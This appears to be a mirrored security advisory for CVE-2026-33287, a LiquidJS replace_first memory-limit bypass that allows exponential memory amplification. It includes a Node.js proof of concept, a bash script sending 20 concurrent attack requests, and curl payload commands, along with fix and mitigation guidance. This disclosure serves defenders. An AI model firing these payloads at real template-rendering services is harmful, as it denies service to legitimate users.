Skip to content

GHSA-6q5m-63h6-5x4v CVE-2026-33287

LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern

High npm
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.48%
Chance of exploitation in the next 30 days. Higher than 41.37% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-400 Uncontrolled Resource Consumption
Fix
10.25.1
Upgrade liquidjs to this version or later

Description

Summary

The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.

Details

The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $` (insert the portion before the match).

The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.

An attacker can build a 1MB string (within memoryLimit budget), then use replace_first with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.

By chaining this technique across multiple variable assignments, exponential amplification is achieved:

Stage Input Size $& Repetitions Output Size Cumulative memoryLimit Charge
1 1 byte 50 50 bytes ~1 byte
2 50 bytes 50 2,500 bytes ~51 bytes
3 2,500 bytes 50 125 KB ~2.6 KB
4 125 KB 50 6.25 MB ~128 KB
5 6.25 MB 50 312.5 MB ~6.38 MB

Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).

Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replace_last filter uses manual substring operations and is also safe. Only replace_first is affected.

// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)  // Only charges input
  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!
}

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal
}

PoC

Prerequisites:

  • npm install liquidjs@10.24.0
  • An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)

Save the following as poc_replace_first_amplification.js and run with node poc_replace_first_amplification.js:

const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Verify $& expansion in replace_first
  console.log('=== Step 1: $& expansion in replace_first ===');
  const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
  console.log('Result:', await engine.parseAndRender(step1));
  // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

  // Step 2 — Verify replace (split/join) is safe
  console.log('\n=== Step 2: replace is safe ===');
  const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
  console.log('Result:', await engine.parseAndRender(step2));
  // Output: "$&$&$&" — $& treated as literal

  // Step 3 — 5-stage exponential amplification (50x per stage)
  console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
  const amp50 = '$&'.repeat(50);
  const step3 = [
    '{% assign s = "A" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{{ s | size }}'
  ].join('');

  const startMem = process.memoryUsage().heapUsed;
  const result = await engine.parseAndRender(step3);
  const endMem = process.memoryUsage().heapUsed;

  console.log('Output string size:', result.trim(), 'bytes');  // "312500000"
  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();

Expected output:

=== Step 1: $& expansion in replace_first ===
Result: HELLO-HELLO-HELLO

=== Step 2: replace is safe ===
Result: $&$&$&

=== Step 3: Exponential amplification (625,000:1) ===
Output string size: 312500000 bytes
Heap increase: ~625.0 MB
Amplification: ~625,000:1 (1 byte input → 312.5 MB output)
memoryLimit charged: < 7 MB (only input lengths counted)

The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.

Demonstrated Denial of Service (concurrent attack)

After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.

Raw Liquid template payload sent by attacker:

{% assign s = "A" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{{ s }}

$& is a JavaScript String.prototype.replace() backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). {{ s }} forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.

#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
  (
    t1=$(date +%s%3N)
    curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "template=$PAYLOAD"
    t2=$(date +%s%3N)
    echo "DoS[$i]: $(( t2 - t1 ))ms"
  ) &
done

# Legitimate user requests at 0s, 3s, 6s
(
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[0s]: $(( t2 - t1 ))ms"
) &

(
  sleep 3
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[3s]: $(( t2 - t1 ))ms"
) &

(
  sleep 6
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[6s]: $(( t2 - t1 ))ms"
) &

wait
echo "=== Done ==="

Empirical results (Node.js v20.20.1, LiquidJS 10.24.0):

Normal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay
Normal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay
Normal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay
DoS[1]:      14729ms
DoS[2-20]:   17747ms ~ 25353ms

With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.

HTTP Reproduction (for applications that accept user templates)

# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'

# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'

# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'
# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
  curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done

# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'template=<h1>Hello</h1>' &

wait

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.

Impact

  • memoryLimit security bypass: The memory limit is rendered ineffective for templates using replace_first with $& patterns.

  • Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.

  • Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):

    Concurrent Attack Requests Legitimate User Latency vs. Baseline Server Blocked
    10 3.2s 640x ~11s
    20 10.9s 2,180x ~29s

    With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.

Affected versions

npm

PackageVulnerableFixed in
liquidjs
< 10.25.1
10.25.1
liquidjs
< 10.25.1
10.25.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

liquidjs npm → 10.25.1

npm
npm install liquidjs@10.25.1
yarn
yarn add liquidjs@10.25.1
pnpm
pnpm add liquidjs@10.25.1

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-fwxr-j5w2-587m
LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, `.first`/`.last`, negative index, and for-loop iteration
Medium Also affects liquidjs
GHSA-4r6h-5v86-94p3
LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process
High Also affects liquidjs
GHSA-m7fp-h3p4-hr49
LiquidJS has an infinite loop vulnerability in its `strip_html` filter
High Also affects liquidjs
GHSA-g357-x5c3-c72p
LiquidJS: `pop` filter bypasses `memoryLimit` accounting that its array-filter siblings enforce
High Also affects liquidjs
GHSA-gf2q-c269-pqgc
LiquidJS is Vulnerable to Remote Code Execution
Critical Also affects liquidjs
GHSA-r7g9-xpmj-5fcq
LiquidJS Vulnerable to ReDoS via Quadratic Backtracking in `strip_html` Filter Regex
High Also affects liquidjs
GHSA-hh27-hf48-9f5q
LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)
High Also affects liquidjs
GHSA-9x9p-qf8f-mvjg
LiquidJS's `{% render %}` tag silently bypasses per-render `ownPropertyOnly:true` via `Context.spawn()`
Medium Also affects liquidjs

Credits: SiteQ8, koDove, mikeflame

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor